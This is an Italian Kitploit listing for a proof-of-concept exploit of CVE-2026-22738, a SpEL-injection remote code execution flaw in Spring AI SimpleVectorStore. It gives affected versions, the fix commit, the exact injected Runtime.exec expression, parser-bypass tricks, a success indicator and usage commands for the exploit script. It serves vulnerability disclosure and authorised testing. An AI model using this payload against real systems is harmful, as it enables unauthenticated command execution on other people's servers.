Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/n0n4m3x41/cve-2026-22738-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPaper e RicercaApprendimento e Formazione
GitHubn0n4m3x41/cve-2026-22738-poc

CVE-2026-22738-POC

Proof-of-concept exploit per CVE-2026-22738, una critica iniezione SpEL con RCE in Spring AI SimpleVectorStore, che dimostra l'esecuzione non autenticata di comandi di sistema operativo.

Vedi Repository
1324 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-22738 — Iniezione SpEL RCE in Spring AI SimpleVectorStore

CVSS CWE Status

Esecuzione remota di codice non autenticata tramite iniezione di Spring Expression Language (SpEL) in SimpleVectorStore.similaritySearch().

Versioni Interessate

| Flag | Default | Descrizione | |---|---|---| | `--target` | `http://localhost:8082` | URL di base dell'applicazione vulnerabile | | `--wait` | off | Esegue il polling finché il target non è pronto (utile dopo `docker compose up`) |
ArtifactVulnerabileCorretta
org.springframework.ai:spring-ai-core1.0.0 – 1.0.41.0.5
org.springframework.ai:spring-ai-core1.1.0-M1 – 1.1.31.1.4

Commit di correzione: ba9220b22383e430d5f801ce8e4fa01cf9e75f29


Vulnerabilità

SimpleVectorStore.similaritySearch() passa il nome della chiave del filtro fornito dal chiamante, senza alcuna modifica, in un template SpEL valutato da StandardEvaluationContext. Poiché StandardEvaluationContext espone l'intera API di reflection JVM, un attaccante può iniettare:

root@kitploit:~
T(java.lang.Runtime).getRuntime().exec(...)

nella chiave del filtro per ottenere l'esecuzione di comandi OS non autenticata.

Dettagli del Bypass

L'iniezione ingenua non funziona immediatamente — è necessario aggirare due peculiarità del parser:

  1. Rimozione degli apici singoli — una chiave che inizia con ' viene trattata come stringa tra apici; gli apici esterni vengono rimossi, alterando il payload.
  2. Wrapper con virgolette doppie — avvolgere il payload in "..." fa sì che il parser rimuova le virgolette doppie esterne, lasciando l'espressione SpEL interna intatta come valore della chiave passato a #metadata['<KEY>'].
  3. Chiave metadata vuota — l'uso di #metadata[''] su entrambi i lati dell'espressione iniettata (invece di una variabile non definita) evita un errore SpEL di unknown variable attivando comunque exec().

L'espressione valutata risultante assume la forma:

root@kitploit:~
#metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','<cmd>'}) + #metadata[''] == 'x'

Indicatore di Successo

Il corpo della risposta HTTP conterrà EL1030E — l'errore di runtime SpEL:

root@kitploit:~
operator ADD not supported between null and java.lang.ProcessImpl

Questo errore viene sollevato dopo che exec() restituisce, confermando l'esecuzione di comandi a livello OS senza richiedere un callback out-of-band.


Utilizzo

Prerequisiti:

root@kitploit:~
pip install requests

Esegui l'exploit:

root@kitploit:~
python3 exploit.py [--target http://localhost:8082] [--wait]
image

Docker Desktop (macOS/Windows): usa host.docker.internal invece di 127.0.0.1 per i payload di callback.


Passaggi dell'Exploit

Il PoC esegue cinque passaggi sequenziali:

PassaggioDescrizione
1Verifica di base — conferma che l'endpoint sia raggiungibile e restituisca i dati seed
2Sonda SpEL cieca — legge java.version tramite T(java.lang.System) per confermare il punto di iniezione
3RCE: touch /tmp/pwned_cve_2026_22738 all'interno del container
4RCE: scrive l'output di id / uname / hostname in /tmp/rce_proof.txt
5Verifica tramite docker exec — stampa il contenuto del file di prova

Disclaimer

Questa proof-of-concept è fornita esclusivamente a scopo educativo e per test di sicurezza autorizzati. Non utilizzarla contro sistemi di cui non si è proprietari o per i quali non si dispone di esplicita autorizzazione scritta al test.

Scarica lo strumento